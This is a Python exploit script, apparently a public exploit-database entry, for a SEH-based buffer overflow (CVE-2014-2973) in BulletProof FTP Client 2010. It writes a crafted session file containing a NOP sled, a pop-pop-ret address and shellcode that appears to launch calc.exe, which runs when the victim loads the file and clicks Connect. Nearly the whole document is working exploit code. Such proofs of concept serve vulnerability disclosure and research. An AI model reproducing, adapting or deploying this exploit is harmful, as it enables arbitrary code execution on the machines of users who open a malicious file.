# !/usr/bin/python
#-----------------------------------------------------------------------------#
# Exploit Title: BulletProof FTP Client 2010 - Buffer Overflow (SEH) Exploit  #
# Date: Sep 05 2014							      							  #
# Vulnerability Discovery: Gabor Seljan                                       #
# Exploit Author: Robert Kugler                                               #
# Software Link: http://www.bpftp.com/                                        #
# Version: 2010.75.0.76                                                       #
# Tested on: Windows XP                                                       #
# CVE: CVE-2014-2973 							      						  #
#                                                         		      		  #
# Thanks to corelanc0d3r for his awesome tutorials and help! ;-)	          #
# The "Enter URL" form is also vulnerable	      			                  #
#-----------------------------------------------------------------------------#

buffer = "This is a BulletProof FTP Client Session-File and should not be modified directly.\n"
buffer+= "\x20" + "\x90" * 89
buffer+= "\xeb\x06\x90\x90"
buffer+= "\xA0\xB3\x3C\x77" # shell32.dll pop pop ret @773CB3A0
buffer+= "\x90" * 119 # 160 characters space
buffer+= ("\x33\xc0\x50\x68"
         "\x2E\x65\x78\x65"
         "\x68\x63\x61\x6C"
         "\x63\x8B\xC4\x6A" # 36 bytes
         "\x01\x50\xBB\x35" # ExitProcess is located at 0x77e598fd in kernel32.dll
         "\xfd\xe4\x77\xFF"
         "\xD3\x33\xc0\x50"
	 "\xc7\xc0\x8f\x4a"
	 "\xe5\x77\xff\xe0")

buffer+= "\x90" * (1000 - len(buffer))

# Just load the "BP Session" and click on "Connect".

file = open("ftpsession.bps","w")
file.write(buffer)
file.close()